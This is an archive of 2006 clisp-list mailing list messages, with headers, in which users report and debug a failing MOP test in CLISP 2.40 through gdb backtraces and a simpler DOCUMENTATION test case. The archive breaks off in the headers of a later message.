charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] Problem compiling CLisp 2.40 on Solaris/x86 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Oct 2006 21:28:56 -0000 Hello! A test fails when compiling CLisp 2.40 on Solaris x86 SXCE build46, 32-bit. Compiling with gcc 3.4.5 and using: ./configure --with-libsigsegv-prefix=${prefix} --prefix=/opt/clisp-2.40 --build File mop.erg contains: Form: (LET (CONSTRUCTOR) (DEFCLASS CONSTRUCTOR NIL ((NAME :INITARG :NAME :ACCESSOR CONSTRUCTOR-NAME) (FIELDS :INITARG :FIELDS :ACCESSOR CONSTRUCTOR-FIELDS)) (:METACLASS FUNCALLABLE-STANDARD-CLASS)) (DEFMETHOD INITIALIZE-INSTANCE :AFTER ((C CONSTRUCTOR) &KEY) (WITH-SLOTS (NAME FIELDS) C (SET-FUNCALLABLE-INSTANCE-FUNCTION C #'(LAMBDA NIL (LET ((NEW (MAKE-ARRAY (1+ (LENGTH FIELDS))))) (SETF (AREF NEW 0) NAME) NEW))))) (SETQ CONSTRUCTOR (MAKE-INSTANCE 'CONSTRUCTOR :NAME 'POSITION :FIELDS '(X Y))) (LIST (STRINGP (WITH-OUTPUT-TO-STRING (*STANDARD-OUTPUT*) (DESCRIBE CONSTRUCTOR))) (FUNCALL CONSTRUCTOR))) CORRECT: (T #(POSITION NIL NIL)) CLISP : ERROR SYSTEM::%RECORD-REF: # is not a record From kavenchuk@tut.by Sun Oct 01 15:02:06 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GU9Nu-0001vS-P0 for clisp-list@lists.sourceforge.net; Sun, 01 Oct 2006 15:02:06 -0700 Received: from mail.tut.by ([195.137.160.40]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GU9Ns-0005XY-MW for clisp-list@lists.sourceforge.net; Sun, 01 Oct 2006 15:02:06 -0700 Received: from [86.57.147.44] (account kavenchuk HELO [86.57.147.44]) by mail.tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 150408952; Mon, 02 Oct 2006 01:01:58 +0300 Message-ID: <45203AD2.1080007@tut.by> Date: Mon, 02 Oct 2006 01:01:54 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Josip Gracin References: <45203310.1060805@tel.fer.hr> In-Reply-To: <45203310.1060805@tel.fer.hr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem compiling CLisp 2.40 on Solaris/x86 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Oct 2006 22:02:06 -0000 Josip Gracin wrote: > A test fails when compiling CLisp 2.40 on Solaris x86 SXCE build46, > 32-bit. Compiling with gcc 3.4.5 and using: ... > CORRECT: (T #(POSITION NIL NIL)) > CLISP : ERROR > SYSTEM::%RECORD-REF: # is not a record The same error on win32/mingw. -- WBR, Yaroslav Kavenchuk. From rms@gnu.org Sun Oct 01 21:03:43 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUF1q-0005d8-WD for clisp-list@lists.sourceforge.net; Sun, 01 Oct 2006 21:03:43 -0700 Received: from fencepost.gnu.org ([199.232.76.164]) by mail.sourceforge.net with esmtps (TLSv1:RC4-SHA:128) (Exim 4.44) id 1GUF1q-0004Gd-Hi for clisp-list@lists.sourceforge.net; Sun, 01 Oct 2006 21:03:42 -0700 Received: from rms by fencepost.gnu.org with local (Exim 4.34) id 1GUF1p-0005Dn-4L; Mon, 02 Oct 2006 00:03:41 -0400 Content-Type: text/plain; charset=ISO-8859-15 From: Richard Stallman To: clisp-list@lists.sf.net In-reply-to: (message from Sam Steingold on Sun, 01 Oct 2006 15:10:22 -0400) References: Message-Id: Date: Mon, 02 Oct 2006 00:03:41 -0400 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] GNU CLISP 2.40 (2006-09-23) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: rms@gnu.org List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Oct 2006 04:03:43 -0000 Congratulations on the new release. From sds@gnu.org Mon Oct 02 16:54:19 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUXc2-0001Er-3H for clisp-list@lists.sourceforge.net; Mon, 02 Oct 2006 16:54:19 -0700 Received: from mta4.srv.hcvlny.cv.net ([167.206.4.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GUXbz-0007Ge-MC for clisp-list@lists.sourceforge.net; Mon, 02 Oct 2006 16:54:18 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta4.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J6J005MA91MHF00@mta4.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 02 Oct 2006 19:53:47 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 4A00B21E091; Mon, 02 Oct 2006 19:53:46 -0400 (EDT) Date: Mon, 02 Oct 2006 19:53:45 -0400 From: Sam Steingold In-reply-to: <45203AD2.1080007@tut.by> To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-followup-to: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <45203310.1060805@tel.fer.hr> <45203AD2.1080007@tut.by> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Problem compiling CLisp 2.40 on Solaris/x86 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Oct 2006 23:54:19 -0000 > * Yaroslav Kavenchuk [2006-10-02 01:01:54 +0300]: > > Josip Gracin wrote: > >> A test fails when compiling CLisp 2.40 on Solaris x86 SXCE build46, >> 32-bit. Compiling with gcc 3.4.5 and using: > ... >> CORRECT: (T #(POSITION NIL NIL)) >> CLISP : ERROR >> SYSTEM::%RECORD-REF: # is not a record > > The same error on win32/mingw. cannot reproduce it on any platform. could you please debug this? thanks! -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://honestreporting.com http://mideasttruth.com http://camera.org http://memri.org http://openvotingconsortium.org http://dhimmi.com Profanity is the one language all programmers know best. From sds@gnu.org Mon Oct 02 16:54:32 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUXcG-0001FG-Qv for clisp-list@lists.sourceforge.net; Mon, 02 Oct 2006 16:54:32 -0700 Received: from mta7.srv.hcvlny.cv.net ([167.206.4.202]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GUXcF-0002B3-DB for clisp-list@lists.sourceforge.net; Mon, 02 Oct 2006 16:54:32 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta7.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J6J007NL92OQNE0@mta7.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 02 Oct 2006 19:54:25 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id BAA8621E091; Mon, 02 Oct 2006 19:54:24 -0400 (EDT) Date: Mon, 02 Oct 2006 19:54:24 -0400 From: Sam Steingold In-reply-to: <45203AD2.1080007@tut.by> To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-followup-to: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <45203310.1060805@tel.fer.hr> <45203AD2.1080007@tut.by> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Problem compiling CLisp 2.40 on Solaris/x86 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Oct 2006 23:54:33 -0000 > * Yaroslav Kavenchuk [2006-10-02 01:01:54 +0300]: > > Josip Gracin wrote: > >> A test fails when compiling CLisp 2.40 on Solaris x86 SXCE build46, >> 32-bit. Compiling with gcc 3.4.5 and using: > ... >> CORRECT: (T #(POSITION NIL NIL)) >> CLISP : ERROR >> SYSTEM::%RECORD-REF: # is not a record > > The same error on win32/mingw. cannot reproduce it on any platform. could you please debug this? thanks! -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://honestreporting.com http://mideasttruth.com http://camera.org http://memri.org http://openvotingconsortium.org http://dhimmi.com Profanity is the one language all programmers know best. From kavenchuk@jenty.by Tue Oct 03 02:59:56 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUh48-00089N-C2 for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 02:59:56 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GUh43-0004Yo-Uh for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 02:59:56 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id T2NP51GL; Tue, 3 Oct 2006 13:03:21 +0300 Message-ID: <45223523.6080903@jenty.by> Date: Tue, 03 Oct 2006 13:02:11 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Problem compiling CLisp 2.40 on Solaris/x86 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Oct 2006 09:59:56 -0000 Sam Steingold wrote: > cannot reproduce it on any platform. > could you please debug this? > thanks! Problem in #'describe: gdb... Starting program: C:\gnu\home\src\clisp\clisp-2.40\build-debug/full/lisp.exe -M full/lispinit.mem -norc -q Reserved address range 0x19d90000-0x5fffffff . STACK depth: 98222 SP depth: 515992 [1]> (DEFCLASS CONSTRUCTOR NIL ((NAME :INITARG :NAME :ACCESSOR CONSTRUCTOR-NAME) (FIELDS :INITARG :FIELDS :ACCESSOR CONSTRUCTOR-FIELDS)) (:METACLASS FUNCALLABLE-STANDARD-CLASS)) # [2]> (DEFMETHOD INITIALIZE-INSTANCE :AFTER ((C CONSTRUCTOR) &KEY) (WITH-SLOTS (NAME FIELDS) C (SET-FUNCALLABLE-INSTANCE-FUNCTION C #'(LAMBDA NIL (LET ((NEW (MAKE-ARRAY (1+ (LENGTH FIELDS))))) (SETF (AREF NEW 0) NAME) NEW))))) #)> [3]> (SETQ CONSTRUCTOR (MAKE-INSTANCE 'CONSTRUCTOR :NAME 'POSITION :FIELDS '(X Y))) #> [4]> (DESCRIBE CONSTRUCTOR) #> is an instance of the CLOS class #1=#, can be used as a function. Slots: CLOS::$NAME unbound NAME = POSITION FIELDS = (X Y) POSITION is the symbol POSITION, lies in #, is accessible in 15 packages CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, PCRE, POSIX, RAWSOCK, READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a Breakpoint 10, fehler (errortype=error, errorstring=0x62ea04 "~S: ~S is not a record") at error.d:349 349 prepare_error(errortype,errorstring,true); /* finish error message */ (gdb) backtrace #0 fehler (errortype=error, errorstring=0x62ea04 "~S: ~S is not a record") at error.d:349 #1 0x0056a65b in fehler_record () at record.d:39 #2 0x0056a6b0 in record_up () at record.d:50 #3 0x0056a767 in C_record_ref () at record.d:64 #4 0x005089e9 in interpret_bytecode_ (closure={one_o = 434514609}, codeptr=0x19e62a48, byteptr_in=0x19e62a5a "нk") at eval.d:7036 #5 0x005061f9 in funcall_closure (closure={one_o = 434514609}, args_on_stack=1) at eval.d:5771 #6 0x005048a7 in funcall (fun={one_o = 434514473}, args_on_stack=1) at eval.d:4939 #7 0x005085ef in interpret_bytecode_ (closure={one_o = 434515689}, codeptr=0x19e62ec8, byteptr_in=0x19e62eda "о1P\037\aоo") at eval.d:7015 #8 0x005061f9 in funcall_closure (closure={one_o = 434515689}, args_on_stack=2) at eval.d:5771 #9 0x00504830 in funcall (fun={one_o = 434515689}, args_on_stack=2) at eval.d:4932 #10 0x0050763d in interpret_bytecode_ (closure={one_o = 434520845}, codeptr=0x19ec37bc, byteptr_in=0x19ec37ce "\236'\001\201fо\217\b\201U\a\001\001\034\201hi") at eval.d:6746 #11 0x005061f9 in funcall_closure (closure={one_o = 434520845}, args_on_stack=2) at eval.d:5771 #12 0x005048a7 in funcall (fun={one_o = 433732501}, args_on_stack=2) at eval.d:4939 #13 0x0050874a in interpret_bytecode_ (closure={one_o = 434741965}, codeptr=0x19e99cf8, byteptr_in=0x19e99d0a "н┌o\001â–‘-\003\002оr\213\001\002\222\002\036â–‘â–o\0010\002c\002\020\005") at eval.d:7024 #14 0x005061f9 in funcall_closure (closure={one_o = 434741965}, args_on_stack=2) at eval.d:5771 #15 0x00504830 in funcall (fun={one_o = 434741965}, args_on_stack=2) at eval.d:4932 #16 0x0050763d in interpret_bytecode_ (closure={one_o = 434750749}, codeptr=0x19f13c08, byteptr_in=0x19f13c1a "н\217\030\035i\001\001п\215m\002\032\003оr)i\001\001i") at eval.d:6746 #17 0x005061f9 in funcall_closure (closure={one_o = 434750749}, args_on_stack=2) at eval.d:5771 #18 0x005048a7 in funcall (fun={one_o = 433733393}, args_on_stack=2) at eval.d:4939 #19 0x005086dd in interpret_bytecode_ (closure={one_o = 434751633}, codeptr=0x19e9c730, byteptr_in=0x19e9c742 "о\016") at eval.d:7021 #20 0x005061f9 in funcall_closure (closure={one_o = 434751633}, args_on_stack=2) at eval.d:5771 #21 0x005048a7 in funcall (fun={one_o = 434751249}, args_on_stack=2) at eval.d:4939 #22 0x005086dd in interpret_bytecode_ (closure={one_o = 434753345}, codeptr=0x19e9cedc, byteptr_in=0x19e9ceee "=\001н┌\212\001%\223\001\200Bн\002#\003\016\t∙\002\020\n╨\020\002") at eval.d:7021 #23 0x005061f9 in funcall_closure (closure={one_o = 434753345}, args_on_stack=2) at eval.d:5771 #24 0x005048a7 in funcall (fun={one_o = 433720937}, args_on_stack=2) at eval.d:4939 #25 0x005086dd in interpret_bytecode_ (closure={one_o = 434735125}, codeptr=0x19e98608, byteptr_in=0x19e9861a "оo") at eval.d:7021 #26 0x005061f9 in funcall_closure (closure={one_o = 434735125}, args_on_stack=2) at eval.d:5771 #27 0x005048a7 in funcall (fun={one_o = 434734569}, args_on_stack=2) at eval.d:4939 #28 0x005086dd in interpret_bytecode_ (closure={one_o = 434739421}, codeptr=0x19e99874, byteptr_in=0x19e99886 "н┌o\001â–‘r)-\003\002оо0\003\031\003") at eval.d:7021 #29 0x005061f9 in funcall_closure (closure={one_o = 434739421}, args_on_stack=2) at eval.d:5771 #30 0x00504830 in funcall (fun={one_o = 434739421}, args_on_stack=2) at eval.d:4932 #31 0x0050763d in interpret_bytecode_ (closure={one_o = 434750749}, codeptr=0x19f13c08, byteptr_in=0x19f13c1a "н\217\030\035i\001\001п\215m\002\032\003оr)i\001\001i") at eval.d:6746 #32 0x005061f9 in funcall_closure (closure={one_o = 434750749}, args_on_stack=2) at eval.d:5771 #33 0x00504830 in funcall (fun={one_o = 434750749}, args_on_stack=2) at eval.d:4932 #34 0x0050d4bf in interpret_bytecode_ (closure={one_o = 434750749}, codeptr=0x19e4ac00, byteptr_in=0x19e4ac12 "i") at eval.d:8135 #35 0x005061f9 in funcall_closure (closure={one_o = 434750749}, args_on_stack=2) at eval.d:5771 #36 0x005048a7 in funcall (fun={one_o = 433733393}, args_on_stack=2) at eval.d:4939 #37 0x005086dd in interpret_bytecode_ (closure={one_o = 434751633}, codeptr=0x19e9c730, byteptr_in=0x19e9c742 "о\016") at eval.d:7021 #38 0x005061f9 in funcall_closure (closure={one_o = 434751633}, args_on_stack=2) at eval.d:5771 #39 0x005048a7 in funcall (fun={one_o = 434751249}, args_on_stack=2) at eval.d:4939 #40 0x005086dd in interpret_bytecode_ (closure={one_o = 434753345}, codeptr=0x19e9cedc, byteptr_in=0x19e9ceee "=\001н┌\212\001%\223\001\200Bн\002#\003\016\t∙\002\020\n╨\020\002") at eval.d:7021 #41 0x00501e42 in eval_closure (closure={one_o = 434753345}) at eval.d:3912 #42 0x004ff056 in eval1 (form={one_o = 1610023355}) at eval.d:3032 #43 0x004febfc in eval (form={one_o = 1610023355}) at eval.d:2899 #44 0x00539486 in C_read_eval_print () at debug.d:408 #45 0x0050542a in funcall_subr (fun={one_o = 5730610}, args_on_stack=2) at eval.d:5330 #46 0x0050487a in funcall (fun={one_o = 5765489}, args_on_stack=2) at eval.d:4937 #47 0x005086dd in interpret_bytecode_ (closure={one_o = 435152017}, codeptr=0x19e94254, byteptr_in=0x19e94266 "╞P\200J") at eval.d:7021 #48 0x005061f9 in funcall_closure (closure={one_o = 435152017}, args_on_stack=0) at eval.d:5771 #49 0x00504830 in funcall (fun={one_o = 435152017}, args_on_stack=0) at eval.d:4932 #50 0x00536636 in C_driver () at control.d:1976 #51 0x005087da in interpret_bytecode_ (closure={one_o = 434717585}, codeptr=0x19e94200, byteptr_in=0x19e94212 "G") at eval.d:7027 #52 0x005061f9 in funcall_closure (closure={one_o = 434717585}, args_on_stack=0) at eval.d:5771 #53 0x00504830 in funcall (fun={one_o = 434717585}, args_on_stack=0) at eval.d:4932 #54 0x00508fc4 in interpret_bytecode_ (closure={one_o = 434912013}, codeptr=0x19df3cc8, byteptr_in=0x19df3cda "") at eval.d:7077 #55 0x005061f9 in funcall_closure (closure={one_o = 434912013}, args_on_stack=0) at eval.d:5771 #56 0x00504830 in funcall (fun={one_o = 434912013}, args_on_stack=0) at eval.d:4932 #57 0x00508fc4 in interpret_bytecode_ (closure={one_o = 434913113}, codeptr=0x19df3cc8, byteptr_in=0x19df3cda "") at eval.d:7077 #58 0x005061f9 in funcall_closure (closure={one_o = 434913113}, args_on_stack=0) at eval.d:5771 #59 0x00504830 in funcall (fun={one_o = 434913113}, args_on_stack=0) at eval.d:4932 #60 0x00508fc4 in interpret_bytecode_ (closure={one_o = 435031245}, codeptr=0x19df3cc8, byteptr_in=0x19df3cda "") at eval.d:7077 #61 0x005061f9 in funcall_closure (closure={one_o = 435031245}, args_on_stack=0) at eval.d:5771 #62 0x00504830 in funcall (fun={one_o = 435031245}, args_on_stack=0) at eval.d:4932 #63 0x00508fc4 in interpret_bytecode_ (closure={one_o = 435032701}, codeptr=0x19df3cc8, byteptr_in=0x19df3cda "") at eval.d:7077 #64 0x005061f9 in funcall_closure (closure={one_o = 435032701}, args_on_stack=0) at eval.d:5771 #65 0x00504830 in funcall (fun={one_o = 435032701}, args_on_stack=0) at eval.d:4932 #66 0x00508fc4 in interpret_bytecode_ (closure={one_o = 435134981}, codeptr=0x19df3cc8, byteptr_in=0x19df3cda "") at eval.d:7077 #67 0x005061f9 in funcall_closure (closure={one_o = 435134981}, args_on_stack=0) at eval.d:5771 #68 0x00504830 in funcall (fun={one_o = 435134981}, args_on_stack=0) at eval.d:4932 #69 0x005397c5 in driver () at debug.d:477 #70 0x0044d8a0 in main_actions (p=0x632668) at spvw.d:3231 #71 0x0044c5e1 in main (argc=5, argv=0x3f28f8) at spvw.d:3367 (gdb) What from this is need to debug? (gdb) up #1 0x0056a65b in fehler_record () at record.d:39 39 fehler(error, /* type_error ?? */ (gdb) up #2 0x0056a6b0 in record_up () at record.d:50 50 if_recordp(STACK_1, ; , { skipSTACK(1); fehler_record(); } ); (gdb) xout record CL::NIL{one_o = 5758801} (gdb) -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Tue Oct 03 03:31:24 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUhYa-0002PL-R6 for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 03:31:24 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GUhYZ-0003Tu-Ar for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 03:31:24 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id T2NP51K7; Tue, 3 Oct 2006 13:34:55 +0300 Message-ID: <45223C8A.2080905@jenty.by> Date: Tue, 03 Oct 2006 13:33:46 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 MIME-Version: 1.0 To: Yaroslav Kavenchuk References: <45223523.6080903@jenty.by> In-Reply-To: <45223523.6080903@jenty.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem compiling CLisp 2.40 on Solaris/x86 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Oct 2006 10:31:25 -0000 > Problem in #'describe: ..in (describe #'position): [1]> (describe #'position) # is a built-in system function. Argument list: (#:ARG0 #:ARG1 &KEY :FROM-END :START :END :KEY :TEST :TEST-NOT) *** - SYSTEM::%RECORD-REF: # is not a record The following restarts are available: ABORT :R1 ABORT Break 1 -- WBR, Yaroslav Kavenchuk. From lisp-clisp-list@m.gmane.org Tue Oct 03 03:44:16 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUhl2-0003Ue-2e for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 03:44:16 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GUhl1-0001Qg-BG for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 03:44:16 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GUhkn-0000Cr-44 for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 12:44:01 +0200 Received: from etthundrat.olf.sgsnet.se ([193.11.222.85]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 03 Oct 2006 12:44:01 +0200 Received: from mange by etthundrat.olf.sgsnet.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 03 Oct 2006 12:44:01 +0200 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Date: Tue, 03 Oct 2006 12:43:47 +0200 Lines: 32 Message-ID: <87wt7hy90c.fsf@freemail.hu> References: <45203310.1060805@tel.fer.hr> <45203AD2.1080007@tut.by> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: etthundrat.olf.sgsnet.se Mail-Copies-To: never Jabber-Id: legoscia@jabber.cd.chalmers.se User-Agent: Gnus/5.110006 (No Gnus v0.6) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:GausWyHeTk2ywX2jPmNRQhUvKGM= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Problem compiling CLisp 2.40 on Solaris/x86 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Oct 2006 10:44:16 -0000 Sam Steingold writes: >> * Yaroslav Kavenchuk [2006-10-02 01:01:54 +0300]: >> >> Josip Gracin wrote: >> >>> A test fails when compiling CLisp 2.40 on Solaris x86 SXCE build46, >>> 32-bit. Compiling with gcc 3.4.5 and using: >> ... >>> CORRECT: (T #(POSITION NIL NIL)) >>> CLISP : ERROR >>> SYSTEM::%RECORD-REF: # is not a record >> >> The same error on win32/mingw. > > cannot reproduce it on any platform. > could you please debug this? I get the same on NetBSD/powerpc. I have a simpler test case: (documentation 'position 'function) This eventually leads to function-documentation (in documentation.lisp) being called, where only the last clause of the cond applies: (get :documentation (sys::%record-ref x 0)) sys::%record-ref then says that # is not a record as above. At this point, this is beyond me... Magnus From ycodet@club-internet.fr Tue Oct 03 03:48:51 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUhpT-0003sA-9y for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 03:48:51 -0700 Received: from relay-bv.club-internet.fr ([194.158.96.102]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GUhpR-0002X2-Na for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 03:48:51 -0700 Received: from [192.168.1.2] (gar31-1-87-91-198-34.dsl.club-internet.fr [87.91.198.34]) by relay-bv.club-internet.fr (Postfix) with ESMTP id EA13E25613 for ; Tue, 3 Oct 2006 12:48:45 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v752.3) Content-Transfer-Encoding: quoted-printable Message-Id: Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: Yves Codet Date: Tue, 3 Oct 2006 12:48:44 +0200 X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp-2.40 on Mac OS X: test fails X-BeenThere: 